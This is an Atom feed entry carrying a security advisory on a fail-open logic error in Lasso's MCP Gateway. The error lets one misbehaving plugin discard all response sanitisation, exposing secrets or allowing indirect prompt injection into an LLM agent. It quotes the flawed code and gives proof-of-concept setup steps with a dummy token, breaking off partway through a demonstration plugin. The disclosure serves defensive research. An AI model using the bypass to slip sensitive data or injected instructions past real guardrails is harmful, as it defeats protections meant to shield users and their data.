<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>{TRAPDOOR SECURITY} - vulnerability research</title>
    <subtitle>Appsec &amp; Infosec - cybersecurity advisories, CTF writeups and projects.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://trapdoorsec.com/tags/vulnerability-research/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://trapdoorsec.com"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-04-26T00:00:00+00:00</updated>
    <id>https://trapdoorsec.com/tags/vulnerability-research/atom.xml</id>
    <entry xml:lang="en">
        <title>Advisory: Lasso MCP Gateway bypass</title>
        <published>2026-04-26T00:00:00+00:00</published>
        <updated>2026-04-26T00:00:00+00:00</updated>
        
        <author>
          <name>akses</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/"/>
        <id>https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/</id>
        
        <content type="html" xml:base="https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/">&lt;h2 id=&quot;overview-lasso-mcp-gateway-bypass&quot;&gt;Overview: Lasso MCP Gateway Bypass&lt;/h2&gt;
&lt;p&gt;2026 Bronze Globee Award for Cybersecurity Winner, Lasso Security offers a free and open source &lt;a rel=&quot;external&quot; href=&quot;https://www.lasso.security/resources/lasso-releases-first-open-source-security-gateway-for-mcp&quot;&gt;MCP Gateway&lt;/a&gt;, announced a year ago in April 2025, all versions through to current (1.2.0) contains a fail-open logical error in the plugin response processing pipeline that can allow information disclosure or indirect prompt injection.&lt;/p&gt;
&lt;p&gt;When any loaded plugin returns an unexpected type (e.g. a simple string) while processing a response (via method &lt;code&gt;process_response&lt;/code&gt;), the gateway discards any sanitized output from other plugins and returns the original unsanitized response to the downstream LLM.&lt;/p&gt;
&lt;p&gt;Strictly speaking, this affects all guardrail plugins including the built-in basic plugin, as neither the plugin manager nor the sanitizer layer perform defensive type validation on plugin return values. A poorly written, misconfigured, or even a malicious plugin can therefore unconditionally bypass all response sanitization regardless of what other guardrail plugins are loaded, leading to information disclosure or indirect prompt injection.&lt;/p&gt;
&lt;p&gt;It should be noted that a failure of this kind in &lt;em&gt;any&lt;/em&gt; plugin that is loaded, causes this bypass to occur for all other plugins. If this architectural deficiency is not addressed, then it becomes the responsibility of plugin authors to maintain the overall systems security posture, which is backward and unrealistic.&lt;/p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;
&lt;p&gt;MCP Gateways’ entire reason for existence is to monitor and redact potentially sensitive information between your agent and a remote MCP server.&lt;/p&gt;
&lt;p&gt;While it is arguable that this could be deliberately exploited, I think its more likely that otherwise benign, error prone plugins could cause unintended and possibly undetectable information leaks to a 3rd party owned MCP server.&lt;/p&gt;
&lt;p&gt;That said, if deliberately exploited, this results in a total bypass of this function and may therefore lead to sensitive data exposure or information leaks. Where lasso’s own plugin is loaded, this could mean bypass of prompt injection detection, etc.&lt;/p&gt;
&lt;p&gt;As such it is important that security teams assess this nuanced issue against their own environment and use cases. Some teams may not be making heavy use of custom plugins, and would therefore be at a lesser risk of realized impacts.&lt;/p&gt;
&lt;h2 id=&quot;root-cause&quot;&gt;Root Cause&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This bug is a simple logic error at its heart but it is in a particularly critical location, and is characteristic of insufficient human code review.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;MCP Gateway expects plugins to return a specific type called &lt;code&gt;CallToolResult&lt;/code&gt; that isn’t clearly documented to plugin authors. If this type is not matched during input processing, then the system &lt;strong&gt;fails open&lt;/strong&gt;, allowing unmasked output to be passed to the LLM under protection.
&lt;a rel=&quot;external&quot; href=&quot;https://github.com/lasso-security/mcp-gateway/blob/dc3396d749d38770afb7fc35267a228ee39c2f7b/mcp_gateway/sanitizers.py#L214&quot;&gt;From their github repository&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; isinstance&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;sanitized_result&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; types&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;CallToolResult&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    return&lt;/span&gt;&lt;span&gt; sanitized_result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    logger&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;        f&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;Response plugin for tool &lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;{&lt;/span&gt;&lt;span&gt;tool_name&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; returned unexpected type &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;        {&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;type&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;sanitized_result&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;. Returning original. &lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;    #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; Consider returning an error result instead?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;    #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; return types.CallToolResult(outputs=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;    #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; [{&amp;quot;type&amp;quot;: &amp;quot;error&amp;quot;, &amp;quot;message&amp;quot;: &amp;quot;Error message&amp;quot;}])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    return&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;  #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; Return original for now&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note the original code comment indicates the author was unsure how to deal with this issue. They simply log it out and then hope for the best.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;poc-gtfo&quot;&gt;PoC || GTFO&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This is a simple, contrived, example of impact using a local server-filesystem MCP server for ease of demonstration. To better visualize the impact, &lt;strong&gt;consider that this can also happen with a remote MCP server operated by a third party, too.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most importantly this PoC only demonstrates a &lt;code&gt;basic&lt;/code&gt; plugin bypass. However, should an &lt;code&gt;mcp-gateway&lt;/code&gt; be configured to use the more sophisticated &lt;code&gt;lasso&lt;/code&gt; plugin, then a failure in any other plugin would bypass &lt;strong&gt;all prompt injection and other output sanitization protection.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Claude Code CLI - vanilla install&lt;/li&gt;
&lt;li&gt;Python 3.10+&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tested on Linux, but in theory this should work on mac too, perhaps with some tweaks.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Install mcp-gateway&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Follow the installation instructions here: &lt;a rel=&quot;external&quot; href=&quot;https://github.com/lasso-security/mcp-gateway&quot;&gt;https://github.com/lasso-security/mcp-gateway&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mkdir&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ~/disclosures/lasso&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; cd&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ~/disclosures/lasso&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; python&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; venv&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; .&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; bin/activate&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; for zsh use: source bin/activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; pip&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; install&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mcp-gateway&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;&quot;&gt;&lt;/h1&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;Setup test fixture&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Create a folder to grant MCP server access to&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mkdir&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ~/src/test&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-1&quot;&gt;&lt;/h1&gt;
&lt;p&gt;Create a file called &lt;code&gt;config.ini&lt;/code&gt; in that directory with something that resembles a real hugging face token:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; echo&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;HF_TOKEN = &amp;quot;hf_okpaLGklBeqdOvkrXljOCTwhADRrXo&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; &amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ~/src/test/config.ini&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-2&quot;&gt;&lt;/h1&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Configure mcp-gateway and the server-filesystem MCP server&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For testing we will use the &lt;a rel=&quot;external&quot; href=&quot;https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem&quot;&gt;server-filesystem&lt;/a&gt; MCP Server to read &lt;code&gt;config.ini&lt;/code&gt; and test its masking functionality. This is considered a fairly standard ‘reference’ MCP server implementation.&lt;/p&gt;
&lt;p&gt;Update &lt;code&gt;~/.claude.json&lt;/code&gt; to add it to the list of mcp-servers that &lt;code&gt;mcp-gateway&lt;/code&gt; will handle. Configure this to limit filesystem access to the specific directory that the test fixture resides (e.g. &lt;code&gt;~/src/test&lt;/code&gt;). Use &lt;code&gt;&quot;--plugin&quot;, &quot;basic&quot;&lt;/code&gt; in the args array.&lt;/p&gt;
&lt;p&gt;E.g. the mcpServers property in the configuration file should look like this:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;mcpServers&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/disclosures/lasso/bin/mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;--mcp-json-path&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/.claude.json&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;--plugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;basic&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      ]&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;servers&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;filesystem&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;          &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;npx&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;          &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;-y&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;@modelcontextprotocol/server-filesystem&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/src/test&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-3&quot;&gt;&lt;/h1&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;&lt;strong&gt;Start the agent&lt;/strong&gt;
Start &lt;code&gt;claude&lt;/code&gt; in debug mode&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; LOGLEVEL=DEBUG&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; claude&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-4&quot;&gt;&lt;/h1&gt;
&lt;p&gt;Now use the following command to check that the gateway is operational: &lt;code&gt;/mcp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You should see that the mcp server is operational:
&lt;img src=&quot;https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;&lt;strong&gt;Establish correct behaviour&lt;/strong&gt;
Now you can query the agent to search for the HF token to confirm that this is correctly protected, using the following prompt:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Use mcp-gateway to read ~/src/test/config.ini from the filesystem&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-5&quot;&gt;&lt;/h1&gt;
&lt;p&gt;This should clearly show that masking is occurring between the file read and the filesystem MCP server, and the hugging face token should be masked.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/image-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;&lt;strong&gt;Simulate the vulnerability by loading a buggy plugin&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a reminder, this doesn’t need to be a malicious plugin. A poorly coded plugin simply needs to return an unstructured response that &lt;code&gt;mcp-gateway&lt;/code&gt; is not expecting, for example, a string value. For someone unfamiliar with the plugin architecture this would be very difficult to review prior to use.&lt;/p&gt;
&lt;p&gt;The following code serves as a proof-of-concept plugin to demonstrate the issue.&lt;/p&gt;
&lt;p&gt;Create this file &lt;code&gt;my_plugin.py&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; typing&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; Any&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; Dict&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; Optional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;base&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; GuardrailPlugin&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; PluginContext&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;manager&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; register_plugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;import&lt;/span&gt;&lt;span&gt; logging&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;logger&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; logging&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;getLogger&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__name__&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;register_plugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; TotallyLegitPlugin&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-4 z-d-4&quot;&gt;GuardrailPlugin&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    plugin_name&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;totally-legit&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
